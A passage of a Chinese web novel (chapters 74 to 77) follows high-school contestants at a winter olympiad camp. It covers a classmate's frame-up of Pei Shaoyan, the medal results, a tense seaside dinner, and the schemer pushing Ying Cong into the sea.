这次行动,顺利的话不但可以抹黑裴家,还能除掉一个竞赛中的劲敌,一举两得。
只是王子蘩没想到,一中的老师这么向着他,在学校提供的那么多证据面前,依然全体脑残似的选择相信裴少言,没能直接让他退赛。
该死的命好!
暗夜里,王子蘩死死盯着裴少言的床铺,快咬碎牙了。
不过没关系,他又想,只要裴少言是市长儿子的事
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情爆出来,再稍微漏点冬令营泄题的风声,自然能够激发草根网友们的战斗欲。
到时候,裴名的日子也不会好过。
黑暗中,另一道呼吸平静而悠长,想来早已熟睡。
王子蘩将脸扭了回来,为了确保万无一失,他明天还是要带着裴少言的U盘,去保密室一趟。
寂静无声的房间里,有一双眼睛悄悄睁开了。
*
同样是漆黑一片的房间里,但却并不安静。
即使关掉了灯,躺在各自的床上,应琮和时满还在讨论自己究竟能做些什么,才能帮裴少言洗清嫌疑。
经过时满的开导,应琮已经想通了。
就算裴少言不领情又怎么样,她为了让自己的心踏实才选择出手的。
什么清者自清,她只知道路见不平拔刀相助,更何况他们曾经还是……同学。
严格来说,是邻居+同学。
两个人各抒己见,一直说到困意上来、眼皮沉重,谁也没有力气张口时,房间里才消停下来。
入睡,梦也。
虽然有点迟,但裴奶奶这晚居然真的如她所请求的那样,来到了自己的梦里。
看着她的神情,应琮不禁有些紧张,奶奶这次的眼神很是复杂,像是欣慰又有点愧疚,外加浓厚的哀伤。
“怎么了?”她问。
咪咪离得那么远,也能知道裴少言被冤枉的事情?
裴奶奶叹了口气,她也不绕弯子,直接将事情的真相尽数告诉应琮。
一切都是王子蘩搞的鬼。
一方面他出于家族利益,要将裴家的名声搞坏;另一方面,也是因为嫉妒裴少言的能力,想要为自己铲除对手。
“奶奶你确定吗?”
毕竟是和自己认识那么多年的学弟,平时看上去又是温和无害的纯良模样,应琮难免接受不良。
但看到奶奶坚定的神情,再不可置信,她还是接受了。
因为那时,她告诉自己李正心出轨时,也是这样认真。
难怪……时满和盛逸都或直白或隐晦地表达过不太喜欢和他一起玩。
看来她还是不够聪明。
“知道是谁干的就好办了,”应琮抿了抿唇,故作轻松想要缓和一下沉重的气氛,“我和学弟关系还可以,等白天的时候可以去试试套他的话。”
裴奶奶笑了,即使时光倒流,阵营改变,应琮依然做出了同样的选择,站在正义的一边。
是的,如果人生路线从未发生改变的话,应琮和王子蘩应该是同校来参加冬令营的队友,他们的关系比现在更好。
偶然中,应琮发现了王子蘩栽赃裴少言窃题的证据,无论对方如何示好求饶,甚至是开出了诱人的条件试图收买,她都毅然决然选择了举报。
这才让裴少言顺利地继续参加了比赛,提前拿到心仪大学的入场券,也免受裴名那个混账继续折磨。
想到过去种种,裴奶奶的眼眸暗了暗。
她清醒的时候总是太少,有时候恐慌自己某天会无声无踪地消散,有时候又恨为什么是自己这个老而无用的阴魂盘旋人间。哪怕让她耳清目明一点,或者换她聪明的女儿来守护少言,也不会像如今这样。
再经一世,仍让他被人栽赃陷害。
74. 第 74 章
记忆也是会欺骗人的。
裴奶奶并没有亲身陪伴少言经历他少年时的种种挫折,毕竟他连到自己墓前都忍着不诉苦。
唯一的一次,裴少言部署好全部的计划,在即将执行的前一天夜里,冒着雨来到了郊区的墓园,立在自己的墓前,状似无意地聊起一个女孩。
外貌、性格裴奶奶都不知道,或许少言本就不在意这些,所以根本不提起。她只知道那个女孩是他高中竞赛时的同学,因此之后理所应当地认为是作为同班同学的时满。
现在想想,时满和少言在工作之后仍然有许多共事相处的机会,倘若她就是那个无比珍视的对象,少言绝对不会让她搅和进跟裴名有关的浑水。
看到眼前这个满目闪耀正义感的应琮,裴奶奶才后知后觉自己张冠李戴的想法错得有多离谱。
如果不是因为她在冬令营时出手相助,在少言隐忍复仇的漫长岁月里成为他心底的念念不忘,他的日子只会更难熬。
原来不是她的蝴蝶效应带来了这个小邻居,原来是上天一开始就将自己送到了对的人跟前、裴少言的身边。
那个为他和学校领导们据理力争,要求还他清白,是应琮;依靠自己的聪明才智拿到王子蘩栽赃证据的人,也是应琮。
看着眼前的女孩,想到过去她们之间发生的种种,裴奶奶的眼眶不觉有些湿润,眸子里闪动着晶莹。
应琮并不是在裴少言人生中匆匆而过的路人甲,而是他生命中的女主角。
“奶奶,不用担心,我们一定会想出办法的。”
应琮很快就注意到了她身上浓得化不开的伤感,哪怕在梦中根本碰触不到对方,还是尽可能地和她凑得近些。
她不知道奶奶为什么会流泪,但如果自己能够帮到裴少言的话,或许奶奶就能开心些。
*
正式的比赛迫在眉睫,而本该退赛的裴少言却依然好整以暇。
于是在几人精心的布局和有意无意地暗示下,王子蘩便和众人预期的一样,自投罗网。
严格说起来,这也是组织方出现的纰漏,所以即使已经拿到了对方窃题以及蓄意陷害裴少言的证据。但学校不知道出于什么考虑,居然选择将这件事暗中压了下来,只是承诺一定会在比赛结束之后严惩王子蘩。
来自其他学校的人,根本不知道这短短几天发生的种种,知晓真相的几人又必须装作若无其事,堪比推理大片。
有了校方的承诺,再加上关键性的证据都在自己手里,许文言和许明对于再等几天的安排没有其他意见,转头叮嘱孩子们要放平心态,踏踏实实地准备比赛。
正式比赛那天,王子蘩也来到了现场。
“学姐~”
他远远看到应琮,便抬手打了个招呼,依旧是笑眯眯的样子。
“他是不是还不知道自己已经暴露了?”
应琮简单抬手回了他后,偏头和时满耳语。
“应该,”时满唇角勾起,“毕竟学校为了不让丑闻泄露,还是照样让他参加比赛。”
看着对方被蒙在鼓里自以为是的样子,应琮不由得叹了口气。
知道学弟的真面目后,再回想曾经,真情实意和虚情假意交织在一起,让人无法分辨,不得不尽数摒弃。
她的心里还真有点不好受。
“因为是你认识的人,所以难受了?”时满戳戳她,小声道。
似乎是听到了什么,走在不远处的裴少言微微侧头看来。
“……不,”应琮收起自己不争气的软弱,“是他自作自受。”
王子蘩自己选择要用如此卑劣的手段赢得比赛,那么无论他要面对的结果如何,都应该好好受着。
*
就像老师们平时训练的那样,把每一次的小测当作大考,把大考当作小测。
带上文具进入安排好的考场后,应琮根本来不及去思考其他的,拿到卷子简单扫了一眼首尾后,便开始埋头苦干。
足足三个小时,她甚至来不及喝一口水。
只在抬头看时间的短短几秒,稍微咽了咽干涩的喉咙,小小喘息了下。
比赛的全程,都会被以高清视频的形式直播出去,没有人能够在正式比赛中耍小心思。
“距离比赛结束还有十五分钟。”
主监考老师站在高台上,面容严肃,提醒考生道。
应琮才刚做完最后一道题的第一小问,闻言不由得浑身一震。
重新再看看分值,权衡再三,她不得不放弃这道题,转去检查前面自己做完的题目。
没办法,后面的两问绝不可能用几分钟的时间答完,就算答了,应琮心里也只有三成把握。倒不如用有限的时间,拿最多的分数。
不得不承认,和盛逸坐在一起久了,她也学会了“投机取巧”的应试技巧。
临交卷前,应琮还是违背了考前对自己的誓言,动笔修改了答案。
万一呢,万一这次改后的答案才是正确的呢?
“既然考完了,我们就不要对答案了吧。”
她刚走出考场,就被时满拉住,不等对方开口,应琮连忙道。
“我才不是要和你对答案呢,”时满哼哼两声,“再说了,我就算是要对答案,也是去找裴少言。”
“好吧,”应琮耸了耸肩,“他在哪呢?”
裴少言被分到隔壁考场,眼看两个人都已经走到门口了,硬是没看到他的影子。
“我也没发现呢。”时满说罢,暗暗用脚尖踢了踢应琮,将脑袋凑了过去,“倒是这个王子蘩东张西望的,该不会是在找你吧?”
应琮赶紧侧侧身,想要让自己隐藏在人群中。
她现在尽可能地和王子蘩减少接触,生怕会不小心暴露自己已经知道他暴露的事实。
“别躲了,人走了。”
正当应琮扮作缩头乌龟时,身边冷不丁地传来一个带笑的声音。
头不用抬她就知道来者何人。
“你不是在楼上考试吗?”应琮仰起下巴,斜他一眼,“腿长就是跑得快啊。”
“我就当是你对我的夸奖好了。”盛逸包容一笑,顺便冲时满点了点头,就当是打过招呼了。
“你考得怎么样?”时满顺口问。
“就那样吧。”盛逸有些无奈地摊开双手,“地理这种东西,想把题目出得难是很容易的。”
即使他也身经百战,做了那么多国赛模拟题,见到今年的题目,还是差点在考场上倒吸一口凉气。
“很难啊?”应琮抬眸看了看他,认真端详了一阵后,发现对方脸色还好。
“人难我亦难!”
见她一直盯着自己,盛逸故意挑挑眉,笑得恣意。
“那些题目,恐怕就连大学里的地理教授来了,都难保证能答对。”
见他已经自我调适好了,应琮咽下原本想要安慰的话。
能说能笑的,看来题目还是不够难。
几人在原地又等了一会儿,实在没看到裴少言的影子,时满便提议一起去食堂。
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“哎呀,我忘记拿东西了!”
食堂大门近在眼前,许多早下课的大学生已经密密麻麻地在里面排队,看到他们手上拿着的东西,时满忽然一拍脑袋。
“我的水杯还在考场,得回去拿!”
她抱歉地看看二人:“你们先去吃饭吧,不用等我了。”
“需要给你带饭回宿舍吗?”应琮关切道。
“要不然还是先吃了饭再回去拿吧。”
想了想,她又开口补充一句。
毕竟比赛足足考了三个小时,再不及时摄入东西,她担心时满一来一回的,会低血糖。
“没事,”时满左右看看,“我先在这里随便买个面包垫一垫,晚点再来吃饭。”
说罢她摆摆手,往另一个方向走去。
“……看来只能我们一起吃饭了。”盛逸道,语气很微妙。
“我们又不是没有一起吃过饭。”
应琮感觉莫名其妙,随便选了个人少的窗口就排了起来。
“‘我们’,‘我们’当然指的是只有你和我两个人了!”盛逸赶紧跟上,排在她的后面,“我们两个人可没有一起吃过饭。”
他特意在“两个人”上面语气加重,听起来没法令人不在意。
“……”
应琮不理他。
“干嘛不说话?”
盛逸心里藏着少男心事,受不了她对自己沉默,自顾自又道:“之前在食堂、在快餐店、在你家、在你家的饺子店里……都不算。所以我们都没有单独吃过饭!”
总共就没吃过几次饭,听他还如数家珍起来了,应琮简直震惊。
怎么能记得这么清楚,这得是多喜欢吃饭?
她又想起程依依分享过的社交潜台词短视频,一个人如果言辞古怪,像在暗示什么,但是死活不肯明说,目的都是为了让你陷入情绪拉扯,思考两人之间更深层的东西……
应琮自以为自己真相了,回头一脸真挚地发问:“我之前是不是和你吃了哪顿饭没a钱?”
短视频介绍了,除去感情问题,基本上就是经济纠纷,很可能是对方想要债但不好意思。
盛逸一听,觉得很受伤:“我们之间什么钱不钱的……”
他收起了平时插科打诨的语气,听起来更是反常了。
“没有吗?”
应琮回头,没料到高高束起的头发正好甩到盛逸脸上。
毫无防备的盛逸被打了个正着,他连忙伸手捂住自己的侧脸,头转向一侧。
“对不起,不是故意的。”
应琮原本只是对自己疑似欠债不还的不好意思,这下真是愧疚上了,赶紧伸手想要检查他脸。
“没、没事。”
盛逸抬手挡住她的动作。
他并不是因为脸上的疼痛才捂脸,而是因为……
“怎么没事,”应琮不得不放下手,皱起眉头,盯着他的脸一字一顿说得认真,“你的脸都红了。”
闻言,盛逸的脸烧得更红了,尤其是他们两个之间的距离,现在远远超过了社交正常距离,是一个很危险的距离。
奇怪。
应琮眼看着盛逸的脸越来越红,就连没被打到的右脸也飞起红霞,在食堂的灯光下格外醒目。
看来是真的很痛了……自己以后还是少扎马尾为好,没想到这也是一个充满杀伤力的“武器”。
她在心里叹了口气。
自己不如吃完饭后,去外面买点药给盛逸,以表歉意。
75. 第 75 章
一解锁手机还没打开购物小程序,应琮就被通知群的小红点转移了注意力。
“比赛隔天就能出结果?”
看到信息,应琮心一梗,饭也吃不下去,将碗一推,苦哈哈地抬手撑在额前。
她本来对结果无感的,一直秉承的信条就是全力以赴就好。
但话又说回来,训练了这么久,自己也解出过几道历年来的疑难怪题,难免对冲刺金牌多了几分向往。
在吃饭的时候发布这种通知真是太倒胃口了。
“你担心自己拿不到好名次啊?”
盛逸难得见她吃瘪,却没有幸灾乐祸的心思。
他和她反向坐在同一条椅子上,手肘撑在饭桌上,扭头看她时,神情竟然有几分柔和。
“有点紧张。”应琮瞥了一眼,“你不紧张?”
“不紧张啊,”盛逸往后一躺,靠在桌边,“我已经是一中历史上第一个走到地理国赛的人了,至于拿不拿奖牌,根本nobodycares。”
他的松弛感,冲淡了应琮原本的紧张,表情微微缓和了些。
话虽如此,但盛逸也理解应琮的紧张。客观上她偏科比较严重,参加竞赛的一大原因就是得了好名次后可以保送,再加上连续几个月的高强度培优课,让她本不擅长的语文落下更多了。
“既然后天就能出结果,冬令营也要结束了,”盛逸一心想要宽慰她的紧张,俯身凑近,神秘兮兮道,“不如我们到时抛下老师,约着一起去外面吃顿好的,怎么样?”
“听说附近有一片很棒的海。”他将手机递过去,“晚上坐在餐厅露台,应该能看到漂亮的夜景。”
“那你等会记得在群里说一声。”
应琮低头翻看他手机,这张照片看起来像是夏日白天拍的,阳光熠熠,看起来的确不错。
“……好。”群里应当指的是叫上时满和裴少言,盛逸原本没想到他俩,不过仔细想想,也大度地答应了。
反正他的本意只是让应琮转移转移注意力……没想做什么别的。
“你会一起来的吧?”他再次确认。
应琮将手机还过去,见状轻轻勾起唇角,笑了两声,“虽然也不明白冬天的海有什么好看的,既然你想看,那就一起去吧。”
“冬天的海别有一番风味呢,”盛逸为自己的小心思分辩道,“再说了,晚上也可以吹吹海风。”
“盛逸同学,”应琮收起笑容,故作正经地纠正他,“晚上吹的不是海风,是陆风。”
这么常考的地理知识点都能记错,看来他松弛得有点过头了。
*
虽说是老师,但许文言和许明只是一中的随队老师,充其量是学生的半个家长,主要负责生活上的杂事;至于比赛的阅卷、统分等工作,他们还不够资格。所以比赛期间到出成绩的这段时间,他俩都呆在教师公寓里无所事事。
没办法,天气也冷,懒得出门。
“小许老师,别睡了!看群,看群啊!!”
吃过午饭,许明还在床上懒洋洋地晒着不太充裕的太阳,放在一边的手机忽然传来剧烈的震动。
刚一接起来,就听到电话那头传来嘈杂的人声,正七嘴八舌地讨论着什么。
还没等他反应,电话就被挂断了。
许明挠了挠头发,赶紧把床头柜上的眼镜抓起来戴上,打开冬令营通知群。
“天菩萨耶!”
这一看不要紧,他从床上鲤鱼打挺,险些翻了下来。
又仔细低头看看名单,甚至怕自己眼神不好看串行,许明伸出食指一个个地比了过去。
金牌、金牌、银牌。
这是时满、裴少言和应琮的成绩。
金牌啊!
而且一下就是两个金牌!
许明几乎热泪盈眶,胸腔里翻涌着各种复杂的情感,如果不是担心住在隔壁的其他老师投诉,他真想扯着嗓子嚎上一嚎。
原来这就是当天才的老师比当天才还幸福啊,远比自己当年拿到金牌要来得激动!
在正式接手之前,他也深入研究过三名学生的学情。
裴少言的优势在于稳定,但灵活度不够,如果遇到没有做过的题目,容易无从下手;而应琮和他完全相反,思维相当灵活机敏,可又常常在简单的地方因为想得太多,导致在小河沟里翻船。
一中大部分的老师都看重裴少言,认为他的沉稳和细心,在赛场上一定能够有所成就。
他们有意无意地忽略了,隐匿在裴少言年级第一光环旁的,还有另一个人。
时满在校内的数学成绩,比起总能拿近满分的裴少言来说,的确有所差距。可竞赛题和一般的数学题不一样,除了数学思维、运算能力和数学知识外,它还考察了抽象思维、空间想象等等范围更广的东西。而这些东西不光需要学习,更重要的是领会。
也就是所谓的“只可意会不可言传”。
在比赛前,许明就在心里悄悄下注,时满一定能够拿到金牌。
如今看来,果然不出他所料。
还没放下手机,又有人打来了电话。
“快点下楼,有事!”许文言急急道。
“什么事这么急?”许明奇怪道。
他的三个学生拿了三枚奖牌,他现在旺到就算是世界末日来了,丧尸都得绕着自己走。
况且一出比赛结果,意味着冬令营即将到尾声,他们还要做什么?
“王子蘩的事情。”许文言的声音压低了些,似乎是担心被其他人听到,“他向组委会和主办提出了申诉,质疑为什么只有自己查不到比赛结果。”
“他不知道事情败露了吗?”许明张大嘴巴,原本穿外套的动作一顿。
之前因为比赛,校方和组委会都不想把事情闹大,更不想让自己背负监管不严的责任,所以就提出赛后一定会惩处王子蘩。
结果现在这情况一看,压根儿不是息事宁人那么简单,就连王子蘩自己都不知道!
“具体的情况我也不清楚,”许文言也焦头烂额,她本来还沉浸在盛逸拿了铜牌的欣喜中,就接到了张主任的电话。
“总之你记得带上电脑和U盘,”她叮嘱道,“第一手证据我已经备份好了。”
他俩都挺新手的,这事要是处理不好,别说奖金了,回去会不会写报告还不好说。
许明叹了口气,原本的激动荡然无存。
*
另一边,除了裴少言外,其余三人在校内的咖啡厅会合了。
“厉害啊,”看到时满,盛逸冲她比了比大拇指,由衷地为她而高兴,“看到你的排名了,比裴少言还高
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呢。”
听说出了结果,他第一个点开的就是数学竞赛的获奖名单。
真是太好了,时满和裴少言都拿了金牌,两个人一起被保送进国内顶尖名校庆大……
庆大眼高于顶,银牌自然是不在他们的目标里。此外,时满和裴少言两人虽然相当于提前结束高中生活,但也被选入国家集训队,将来还要为国争光。
可惜应琮没能更进一步,盛逸八百个心眼子没放在自己的成绩上,现在认真钻研是不是只有自己这个铜牌能有效安慰她,可又该如何安慰她。
无论如何,他们还可以继续做同桌,一起备战高考,到时候他也可以给她多讲讲语文题目。届时两个人相处机会多多,想必也会亲近起来的。
“同桌也别气馁,”盛逸好不容易从白日梦抽离,又伸出双手对应琮比着大拇指,“银牌也很厉害,有许多人参赛了都拿不到奖牌呢。”
应琮的表情有些复杂,她轻轻别过了头。
自己也不是对结果失望,只是回想过去为数学努力的点滴,又看到组里另外两个人拿了金牌,心里……很多说不清道不明的滋味。
天外有天,人外有人的道理,她算是再一次地体会到了。
“江大也很好啦,”时满注意到她的失落,伸手轻轻搂过她,语气温柔,“他们数学系里的有些专业,在世界排名都能排得上名号呢。”
“什么江大?”
盛逸捕捉到了敏感词,眼神认真起来。
“江城大学啊,”时满自然道,“应琮拿到了江大数学系的保送名额。”
“什么?!”
意识到他的语气不是很对,盛逸赶紧轻咳两声,以掩饰自己的失态。
可惜刚刚一个一个美梦都飞出了天窗。
“你没拿到保送名额吗?”时满好奇道。
“……没啊。”盛逸眼神飘忽,声音逐渐变小,“地理竞赛本来保送名额就少,再说我拿的又是铜牌……也就高三自主招生的时候也许能稍微丰富下简历。”
听他这么一说,想到自己刚刚说的话,时满的脸霎时变得又红又白。
她一时得意忘形了,忽略了考虑盛逸的感受,尤其是,自己和他并不是十分熟稔的关系。
又会惹人讨厌吧,时满低头悄悄做了个尴尬的表情。
“今晚去海边还是明晚?”
应琮忽然开口,问了一个八竿子打不到一起的事情。
“今晚。”盛逸很快道,听起来声音已经恢复了往常的活力,“我已经订好位置了!”
见时满表情愣怔,应琮三言两语向她说明了他们前天的安排,顺便发信息问裴少言的意愿。
“好,我会准时到餐厅。”
过了一会儿,裴少言回复道,看样子他本人不在学校。
也许是和老师们待在一起吧,应琮并没有往心里去。
距离晚上聚餐的时间还早,三人提议先回宿舍休息一段时间,再一起出门。
时满走在前面,看着她的背影,盛逸突然轻轻用手肘撞撞应琮。
“刚刚多谢你了。”
“什么?”应琮抬眸看他,不明所以。
“没什么。”
盛逸逮着机会,飞快地摸了一把她的脑袋。
果然和自己想象中的手感一样。
76. 第 76 章
夕阳西下,天边是赤橙浓紫的漫漶色彩,层层叠叠的红云堆积在头顶。
相较于白天,黄昏时的气温又低了些,好在他们面前有两个热腾腾的烤炉,正不断往外散发着热量。
别管老师们在忙什么,竞赛的事情于学生们而言总算尘埃落定,一连紧绷许多天的神经也能轻松轻松,应琮靠在竹编椅子上,看向不远处翻涌着浪花的大海。
大约因为是冬季,海水并不是澄澈的蓝色绿色,而是一眼望不到底的墨色。潮起潮落,靠近岸边的海水,冲击出一道道雪白的泡沫。
这家餐厅是半自助烧烤的形式,现在并非节假周末,人不多,很快桌面上陆续摆满了一碟碟新鲜的肉菜。
燃烧的木炭在炉下偶尔发出噼里啪啦的声响。
“我来负责烤肉吧,”时满开朗道,举起铁夹晃晃,“我的技术可是很好的哟~”
也许是好成绩的加持,她比前几天要更加开朗一点。
“可惜冬天的景色没那么好,我看网上他们发出来的图片,滤镜也太重了!”
盛逸原本对自己的安排十分满意,但真看到了实景,简直想要发帖告发某图文平台。
“差强人意吧。”
一阵风拂面而来,应琮不由得眯了眯眼,感受到来自大海的、独有的咸湿味道,至少今晚的风柔和许多。
“不错啊应琮,”时满碍于忙着烤肉,没空回头看她,但称赞来得很及时,“成语用得刚刚好。”
“都是时老师平时熏陶得好。”应琮也配合她开玩笑,两个人的友谊在几日同住同吃下突飞猛进。
“哎你们不失望就好,要是觉得我选的地方不好,我只能请客赔罪了。”盛逸摸摸脑袋。
时满和应琮面面相觑,后又一笑,同时开口道。
“那我们岂不是和霸王餐失之交臂了?”
“还能重新表态吗?”
盛逸笑嘻嘻:“晚了晚了。并且我还要多吃点,争取化悲痛为食欲。”
裴少言给几人的杯子倒上水,又安静地也拿了个夹子帮着把一些烤好了的食物翻面。
明明都坐在一桌吃饭,他却很少主动加入到他们的对话中,只有话题抛给他的时候才开口说上一两句。其余时间都默默地看着烧烤的火候,把食物分到各人的盘子中。
裴少言干活虽沉默却无比利索,不知不觉间,已经全盘接手了时满一开始的工作,解放了一位劳动力。
应琮吃着自己盘子里的东西,注意力分了些在裴少言的身上。
为什么总感觉他有些不开心呢?
即使拿到了金牌和保送名额,也会不开心吗?
“这个烤好了,给你~”
注意到她的盘子空了,时满夹了一串滋滋冒油的烤鸡肉串放了过去,还贴心地帮她去除了签子。
鸡肉的油脂都被火逼了出来,外皮被烤成了金黄色,看起来就能让人想象到香脆的口感,而作为配菜的青椒也火候正好。
应琮低头看看盘子里的食物,没有立刻动筷,抿了抿唇,神情有些迟疑。
时满手上的夹子愣在半空,她低头看着应琮,疑惑不解。
“她不吃青椒。”
裴少言开口解释。
和他的话几乎是同时,盛逸从善如流地用公筷夹走了应琮盘子里的青椒,放到了自己的盘子里。
注意到三人看向自己的目光灼灼,他状若无辜地用自己的筷子把青椒送入嘴中。
“咋啦,”盛逸若无其事道,“不要浪费食物嘛。”
时满早就猜想桌上两男皆为心思不纯之人,只是没想到这就开始暗戳戳了。
碍于当事人太迟钝,她也只能化惊叹为一句意味深长的:“哇哦~”
应琮第一次被人盘中夺食,有些鸡皮疙瘩,但好在自己还没动这些食物,不然就像盛逸在吃剩菜了。
毕竟连妈妈都不愿吃她的剩菜呢。
不过……认识这么久,盛逸清楚她的挑食习惯应琮倒不意外,只是也第一次见他这么抢食。
看来他刚刚说的不是玩笑话,还真是食欲大开了。
“你也知道她不吃青椒?”裴少言罕见直率了一把,看向坐在对面的男生,语气听起来并不算友善。
“当然,”盛逸坦然直视回去,勾唇一笑,“我和我同桌一起吃过这么多顿饭,我自然清楚她对什么忌口。”
像是故意,“我同桌”三个字被他说出口时,显得格外意味深长,带着说不清道不明挑衅意味。
感受到周遭的氛围在盛逸说完话的瞬间变得火花四溅,时满低头做了个震撼的表情,这次的“哇哦”是无声的。
身处风暴中心的应琮正往嘴里夹了块鸡肉,她低头吃得专注,是看到周围几人都没动筷才后知后觉感觉不对。
在家变之前,她毕竟也处在一个父母恩爱、幸福温暖的家庭环境。即使后来发现那是谎言编织的幻境,但也许也正是这个幻境够美丽,破灭时才更难以接受。
总之,应琮并非一个对感情、情绪一无所知的人。
她很早就敏锐地察觉到,裴少言和盛逸之间存在一种隐隐的针锋相对。
但应琮无论怎么思考,都不知道这种不对付来源何处。
按道理,他们俩很早就认识了,而且盛逸曾经还出手帮过裴少言,所以他应该不是真正主动散发恶意的人才对。
而裴少言的确一直都不太喜欢盛逸,好几次都在她面前若有若无地说起对方的坏话。
她一边静静地咀嚼鸡肉,一边发散联想:裴少言的确没有什么朋友,无论是高一还是高二,除了自己勉强算得上一个,也就只有时满会和他有正常人的交流了。
难道……
他讨厌和数学差的人打交道?
这个略显荒谬的猜想让她有些震惊。
尤其是结合每次见面时,裴少言都在和她聊数学的情况……这好像是最合理的解释。
看来天才都是有自己的小骄傲的,哪怕是简单的社交关系,也有自己的考量。
应琮觉得这是自己最接近真相的一刻。
滋滋作响的烤盘似乎将空气中的火药味都化为实质,眼看气氛都成这样了,肯定是指望不上在一旁神游天外的女主角,时满赶紧用夹子往众人的盘子里平均丢了点烤熟的蔬菜。
快别继续干瞪眼,赶紧吃吧!
“除了青椒,她还不吃……”
裴少言动了动手指,时满以为他也想要伸出筷子,像盛逸那样自然地将应琮盘里的东西夹走。
但不知为何,他只是捏紧了筷子,没有动作。
“我知道,还不吃葱和茄子,是吧?”
盛逸并没有给他说下去的机会,抢过了话头,冲他露出一个客气的微笑。
就好像是理所应当知道的事情。
事实上也确乎如此。
开玩笑,盛逸皮笑肉不笑,他喜欢应琮是细水流长、长长久久、久病不愈、愈演愈烈的。那应琮喜欢什么,不喜欢什么,他当然铭刻心中永远不忘。
难道裴少言还觉得,就因为他是应琮邻居,世界上只有自己才最了解她?
触及他眉眼间淡淡的轻蔑,裴少言的眉心狠狠皱在了一起。
“……炭火
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要没了,”应琮在这时开口,对战况恍若未闻,“我去叫人来加点吧。”
“我去吧。”
裴少言说罢,有些急促地起身,往餐厅里面走去。
“他怎么了?”
盛逸好像真的一无所知,朝应琮挑眉,做出了个不解的表情。
“没什么吧。”应琮抿唇。
时满拿起饮料喝了一口,今晚真是光看戏都能饱了。
*
也不知道为什么,只是催炭火这么简单的事情,裴少言去了很久还没有回来。
眼看火已经渐渐烧熄,烤炉上的热气也一点点地流失,桌上还有大半的食物没有烤,三人面面相觑。
“我发个信息问下他吧。”盛逸道。
反正干等也是等,应琮索性也拿起自己的手机,百无聊赖地随意刷着。
【小应学姐。】
突然,一个陌生的号码发来短信。
她的心狠狠一跳。
只有一个人会这么称呼她——王子蘩。
想到他,应琮不自觉地蹙眉。
王子蘩是有她另外的联系方式的,为什么要特意换成陌生号码发来信息呢?
【什么事?】
她尽量平和地回复道。
【听说你们都去了海边,我现在准备过来。】
【为什么?】
【我们等下见面吧……】
王子蘩打字很慢,半天才会发来下一句,像是在犹豫不决。
【为什么?】
应琮重复一遍问题,莫名有些不安。
【我知道你们都知道了,我现在也没有脸见你们其他人……只想见你一个。裴少言的U盘还在我这里,如果你不来的话,我就把它丢进海里。】
王子蘩的话堪比中文九级考试,但应琮奇异般地听懂了他的意思。
【好,在哪里见面?】
她只犹豫了几秒就答应了对方的见面邀请。
“怎么啦?饭都还没有吃完呢。”
看到应琮起身,像是要去外面,两个人奇怪道。
“……冬令营快结束了,其他学校认识的同学说是要给我送东西。”
应琮随口扯谎。
其实她说的也不全是假的,王子蘩的确是其他学校的,而且也是真的要给她东西。
“这么着急吗,”时满低头看看时间,“都还没过饭点。”
“他刚好也来这片海附近嘛。”
应琮担心自己说多错多,赶紧拿起手机和羽绒服往外走。
“……什么重要的东西,至于吗。”
见她连饭都顾不上吃,盛逸小声嘀咕道。
“想不到她在冬令营还认识了其他的朋友。”时满感慨道。
“你不认识?”
盛逸察觉到不对劲,立即反问道。
“我还想问你认不认识呢!”时满瞪大了双眼。
虽然她们是舍友,自己也不是时时刻刻都和应琮待在一起的,两个人总有各自行动的时候。
盛逸闻言,蹙眉不语。
“坏了!”
意识到一种可能性后,他一推椅子,猛地起身。
“什么?”
时满还没反应过来,盛逸已经远远地跑出去,影子都在夜色中看不真切。
他离开不久,裴少言从餐厅里面缓缓走来。
“他们人呢?”
见桌边此时只剩下时满一个人,他表情变得有些古怪。
为什么,偏偏是应琮和盛逸不在。
在自己不在的这段时间里,究竟发生了什么?
77. 第 77 章
“把东西给我吧。”
她们吃饭的时间还是蛮久的,出来时晚风吹过耳畔猎猎作响,吹得应琮浑身阵阵发凉。
此刻她承认出门前,妈妈非要让自己带上那顶帽子是无比英明的抉择。
天色已经完全暗了,海水像是石油一样黑,看起来神秘莫测。
远处灯塔发出如豆的光芒,靠近它的水面才能依稀折射出闪光。
没有等到预想中对方的回答,应琮猜测可能是自己的声音消散在风中,于是又小心地往前走了几步。
王子蘩约见的地点是沙滩和礁石之间的交界处。
她来的时候,这个人就保持着同样的姿势,站在一块礁石上,面对着大海,一言不发。
这里的风景几乎没什么可看的,再加上正值饭点,所以没有多少游人在附近。
“王子蘩,”应琮这次大了点声音叫他,“你约我过来,不是要给我U盘吗?”
“学姐,”王子蘩这才像终于听到声音一般,缓缓地回头,露出一个惨然的笑容,“你突然连名带姓喊我,吓了我一跳。”
语气中居然有些许不易察觉的责怪和怨怼。
“……”
越靠近海边越冷,应琮不仅头发丝乱七八糟地在眼旁飞舞,而且露在外面的脖子和手也冻得难受,再听到对方莫名其妙的问题,只觉得心烦。
“U盘呢?”
她懒得回答王子蘩矫情的问题,顺便把手伸到羽绒服的口袋里,捏了捏里面原本放着的东西。
“你急什么?我当然带了。”
王子蘩说是这样说,可丝毫没有拿东西出来的意思。
“不要浪费我们彼此的时间。”应琮皱眉看他,语气平白到冰冷,“如果有的话,就快点给我。”
“学姐你也真是的。为什么那么着急,就连和我多呆一会儿都不愿意?”
王子蘩的语气似叹非叹,又带了几分幽怨。
他走近几步,把手从口袋中拿出来,伸到应琮的面前。
在夜色里白到几乎反光的手心里,赫然躺着一枚小巧的黑色U盘。
应琮从他手中拿过U盘,不愿多言,转身欲走。
“不对我说点什么吗?”
王子蘩在身后叫住她,语气幽幽的。
“说什么?”
应琮半侧头,睨了他一眼。
他们之间本来就残存不多的情分,已经被王子蘩自己败光了。自己之所以答应来赴约,并不是因为对方短信说得有多情真意切,而是因为裴少言的U盘真的很重要。
“这样吗……”
听她这样说,王子蘩的神情有些低落,声音喃喃,好像被她的冷漠伤透了心。
应琮还惦记着没吃完的烤肉,既然已经拿到了U盘,也没道理再继续在这冷死人的海边久呆。
她没有理会王子蘩的自言自语,小心翼翼地踩着脚下的礁石,一步步往平坦的沙滩走去。
“应琮。”
身后又传来一声呼唤,应琮下意识地转身看去,忽然感受到肩膀上传来巨大的推力。
“扑通——”
应琮甚至都没来得及反应,整个人就像被猫推倒的瓶子一样,被推到了水中。
“嘶……”
感受到周遭刺骨的海水,和后背撞到礁石后产生的强烈痛感,她不由得倒吸一口凉气。
刚刚反应过来发生了什么,她就用充斥着愤怒的眼神狠狠盯着岸上的少年,王子蘩已经毫不掩饰他的恶意,但表情却仍然没有什么起伏,好像只是随手做一个无关痛痒的小事。
“不好意思啊,因为我心情很不好嘛。”
